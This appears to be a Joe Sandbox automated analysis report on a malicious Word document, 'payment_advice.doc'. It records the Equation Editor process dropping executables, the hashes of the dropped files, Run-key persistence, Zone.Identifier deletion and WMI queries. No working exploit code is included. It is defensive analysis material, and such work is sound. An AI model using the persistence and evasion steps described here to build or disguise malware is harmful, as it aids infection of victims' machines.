Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061FBF0	9_2_0061FBF0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061B788	9_2_0061B788
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F9630	9_2_023F9630
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F5620	9_2_023F5620
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F6A1E	9_2_023F6A1E
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F4A08	9_2_023F4A08
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F07A8	9_2_023F07A8
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F0B80	9_2_023F0B80
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F9828	9_2_023F9828
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F78A5	9_2_023F78A5
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F24D0	9_2_023F24D0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F1AEA	9_2_023F1AEA
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F86D1	9_2_023F86D1
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F1B61	9_2_023F1B61
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F0798	9_2_023F0798
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023FCFF8	9_2_023FCFF8
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F78A5	9_2_023F78A5
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F9818	9_2_023F9818
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F24C1	9_2_023F24C1
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F856C	9_2_023F856C
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F4D50	9_2_023F4D50
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B30E00	16_2_00B30E00
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B31788	16_2_00B31788
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B31A69	16_2_00B31A69
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B30048	16_2_00B30048
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B305B0	16_2_00B305B0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B30115	16_2_00B30115
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B30006	16_2_00B30006
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B31778	16_2_00B31778
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4B4B0	16_2_00B4B4B0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B46898	16_2_00B46898
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4C900	16_2_00B4C900
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4D108	16_2_00B4D108
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B46837	16_2_00B46837
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4342F	16_2_00B4342F
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4E828	16_2_00B4E828
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B47467	16_2_00B47467
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4684E	16_2_00B4684E
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B479A0	16_2_00B479A0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4F5E8	16_2_00B4F5E8
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4A1C0	16_2_00B4A1C0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4812F	16_2_00B4812F
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4711A	16_2_00B4711A
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B432E0	16_2_00B432E0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4764F	16_2_00B4764F
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4B788	16_2_00B4B788
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4FBF0	16_2_00B4FBF0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B4AF28	16_2_00B4AF28
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C24D0	16_2_048C24D0
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C9828	16_2_048C9828
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C914A	16_2_048C914A
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C4A08	16_2_048C4A08
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C6A18	16_2_048C6A18
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C5620	16_2_048C5620
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C9630	16_2_048C9630
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C0B80	16_2_048C0B80
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C779A	16_2_048C779A
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C07A8	16_2_048C07A8
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C9818	16_2_048C9818
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C4D50	16_2_048C4D50
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C856C	16_2_048C856C
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C86D1	16_2_048C86D1
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C1AEA	16_2_048C1AEA
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C779A	16_2_048C779A
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C1B61	16_2_048C1B61

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\twox67345.exe D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe D5582D586F46F61240CED5F4A44DAC22D5E2C7C0A48F63C964093DE0CBE49BC8

Source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp	Binary or memory string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbisualBasic.pdbPe$
Source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp	Binary or memory string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb3E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC
Source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp	Binary or memory string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@20/9@10/3

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$yment_advice.doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC6A8.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ....................P."...........W.a.i.t.i.n.g. .f.o.r. .1.....................................0.................&.......................".....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ................................ .s.e.c.o.n.d.s.,. .p.r.e.s.s. .a. .k.e.y. .t.o. .c.o.n.t.i.n.u.e. ...............&.....J.................".....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ..................................0.e.c.(.P.....t.......\.......T...............................e. ...............&.......................6s....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ..................................0.e.c.(.P.....t.......\.......T...............................e. ...............&.......................6s....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ......................!...........W.a.i.t.i.n.g. .f.o.r. .1.....$...............................................8.........................!.....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ................................ .s.e.c.o.n.d.s.,. .p.r.e.s.s. .a. .k.e.y. .t.o. .c.o.n.t.i.n.u.e. .............8.......J.................!.....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ..................................0.e.c.(.P.....T.......h.......l...............................e. .............8..........................s....	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Console Write: ..................................0.e.c.(.P.....T.......h.......l...............................e. .............8..........................s....	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\twox67345.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: payment_advice.doc

ReversingLabs: Detection: 43%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe 'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe 'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: unknown	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process created: C:\Users\user\AppData\Roaming\twox67345.exe C:\Users\user\AppData\Roaming\twox67345.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\twox67345.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: nVisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbisualBasic.pdbPe$ source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: ,micC:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.PDBe source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: nLC:\Windows\Microsoft.VisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: oC:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.PDB, source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb3E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp
Source:	Binary string: \REGISTRY\USER\S-1-5-21-966771315-3019405637-367336477-1006_Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4UGxXf.PDB424491E3931}\Servererver32 source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: :\Windows\mscorlib.pdbpdblib.pdb source: UGxXf.exe, 0000000B.00000002.2329868830.00000000006EA000.00000004.00000020.sdmp
Source:	Binary string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xF27DBEB9 [Tue Dec 2 02:51:37 2098 UTC]

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00614823 push ebp; ret	9_2_00614828
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_006139E0 pushad ; ret	9_2_006139E1
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00612DFE push ebp; ret	9_2_00612E00
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00613FD9 pushfd ; retf	9_2_00613FE1
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023F6FBD push 8BFFFFFDh; retf	9_2_023F6FC3
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_023FA5A8 pushfd ; ret	9_2_023FA5AA
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B44823 push ebp; ret	16_2_00B44828
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B42DFE push ebp; ret	16_2_00B42E00
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_00B43FD9 pushfd ; retf	16_2_00B43FE1
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Code function: 16_2_048C6FB7 push 8BFFFFFDh; retf	16_2_048C6FC3

Persistence and Installation Behavior:

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\twox67345.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\twox67345.exe	File created: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	Jump to dropped file

Boot Survival:

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ZozjABYW			Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run ZozjABYW			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	File opened: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	File opened: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
